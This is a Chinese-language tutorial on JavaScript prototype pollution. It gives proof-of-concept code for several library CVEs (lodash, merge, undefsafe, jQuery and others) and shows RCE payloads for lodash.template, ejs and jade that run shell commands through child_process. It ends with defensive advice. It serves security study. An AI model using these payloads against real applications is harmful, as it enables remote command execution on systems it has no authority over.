prototype pollution attack
字数 1613 2025-08-07 00:35:01
JavaScript 原型链污染攻击详解
0x00 基本概念
JavaScript 原型与原型链
- JavaScript 是万物皆对象的语言
- 函数创建时会自动添加
prototype属性,其值是一个具有constructor属性的对象 - 使用
new关键字实例化时,实例会继承构造函数的prototype属性和方法 - 实例通过
__proto__指向构造函数的prototype实现继承
原型链污染原理
通过 __proto__ 向上追溯到最初的 Object,控制其属性来实现对所有继承自它的函数及实例的污染。典型攻击方式:
- 污染空属性,通过赋值实现任意命令执行
- 修改关键属性(如将
admin改为1)
示例 payload:
{
"lua": "123",
"__proto__": {
"outputFunctionName": "t=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString()//"
},
"Submit": ""
}
0x01 原型链污染攻击(第一步)
核心思想
寻找能够操纵键值的位置,利用 __proto__ 进行向上污染。
常见漏洞模式
1. Merge 类操作
危险代码示例:
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a;
}
const clone = (a) => {
return merge({}, a);
}
2. CVE-2020-28499 (merge.recursiveMerge)
影响版本:merge < 2.1.1
测试代码:
const merge = require('merge');
const payload2 = JSON.parse('{"x": {"__proto__":{"polluted":"yes"}}}');
let obj1 = {x: {y: 1}};
console.log("Before: " + obj1.polluted);
merge.recursive(obj1, payload2);
console.log("After: " + obj1.polluted);
console.log("After: " + {}.polluted);
3. Undefsafe 模块 (CVE-2019-10795)
影响版本:undefsafe < 2.0.3
漏洞利用:
var a = require("undefsafe");
var object = {a: {b: {c: 1, d: [1,2,3], e: 'skysec'}}};
var payload = "__proto__.toString";
a(object,payload,"evilstring");
console.log(object.toString);
4. Lodash 模块漏洞
CVE-2019-10744 (defaultsDeep)
影响版本:lodash < 4.17.12
POC:
const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"whoami": "Vulnerable"}}}';
function check() {
mergeFn({}, JSON.parse(payload));
if (({})[`a0`] === true) {
console.log(`Vulnerable to Prototype Pollution via ${payload}`);
}
}
check();
CVE-2018-3721 (merge)
POC:
var lodash= require('lodash');
var payload = '{"__proto__":{"polluted":"yes"}}';
var a = {};
console.log("Before polluted: " + a.polluted);
lodash.merge({}, JSON.parse(payload));
console.log("After polluted: " + a.polluted);
CVE-2018-16487 (mergeWith)
POC:
var lodash= require('lodash');
var payload = '{"__proto__":{"polluted":"yes"}}';
var a = {};
console.log("Before polluted: " + a.polluted);
lodash.mergeWith({}, JSON.parse(payload));
console.log("After polluted: " + a.polluted);
set/setWith 方法 (CWE-400)
POC:
lod = require('lodash')
lod.setWith({}, "__proto__[test]", "123")
lod.set({}, "__proto__[test2]", "456")
console.log(Object.prototype)
CVE-2020-8203 (zipObjectDeep)
影响版本:lodash < 4.17.20
POC:
const _ = require('lodash');
_.zipObjectDeep(['__proto__.z'],[123])
console.log(z) // 123
5. 其他模块漏洞
safe-obj (CVE-2021-25928)
POC:
var safeObj = require("safe-obj");
var obj = {};
console.log("Before: " + {}.polluted);
safeObj.expand(obj, '__proto__.polluted', 'Yes! Its Polluted');
console.log("After: " + {}.polluted);
safe-flat (CVE-2021-25927)
POC:
var safeFlat = require("safe-flat");
console.log("Before: " + {}.polluted);
safeFlat.unflatten({"__proto__.polluted": "Yes! Its Polluted"}, '.');
console.log("After: " + {}.polluted);
jQuery (CVE-2019-11358)
POC:
var jquery = document.createElement('script');
jquery.src = 'https://code.jquery.com/jquery-3.3.1.min.js';
let exp = $.extend(true, {}, JSON.parse('{"__proto__": {"exploit": "sp4c1ous"}}'));
console.log({}.exploit);
console.table (CVE-2022-21824)
影响版本:Node.js < 12.22.9, < 14.18.3, < 16.13.2, < 17.3.1
POC:
console.table([{a: 1}], ['__proto__'])
console.table([{x: 1}], ["__proto__"]);
0x02 原型链污染到RCE(第二步)
1. 配合 lodash.template 实现 RCE
利用 sourceURL 属性污染:
\u000areturn e => { return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString() //"}
2. 配合 ejs 模板引擎实现 RCE (CVE-2022-29078)
示例代码:
var express = require('express');
var lodash = require('lodash');
var ejs = require('ejs');
var app = express();
app.set('views', __dirname);
app.set('views engine', 'ejs');
var malicious_payload = '{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2"}}';
lodash.merge({}, JSON.parse(malicious_payload));
app.get('/', function(req, res) {
res.render("index.ejs",{message: 'sp4c1ous'});
});
var server = app.listen(8000, function() {
var host = server.address().address
var port = server.address().port
console.log("应用实例,访问地址为 http://%s:%s", host, port)
});
3. 配合 jade 模板引擎实现 RCE
POC:
{
"__proto__": {
"compileDebug": 1,
"self": 1,
"line": "console.log(global.process.mainModule.require('child_process').execSync('calc'))"
}
}
0x03 防御措施
- 避免使用不安全的 merge/clone 操作
- 使用 Object.create(null) 创建无原型的对象
- 冻结 Object.prototype (Object.freeze(Object.prototype))
- 使用 hasOwnProperty 检查属性是否存在
- 及时更新易受攻击的库版本
0x04 参考资源
- https://github.com/NeSE-Team/OurChallenges/tree/master/XNUCA2019Qualifier/Web/hardjs
- https://snyk.io/blog/after-three-years-of-silence-a-new-jquery-prototype-pollution-vulnerability-emerges-once-again/
- https://threezh1.com/2020/01/30/NodeJsVulns/
- https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html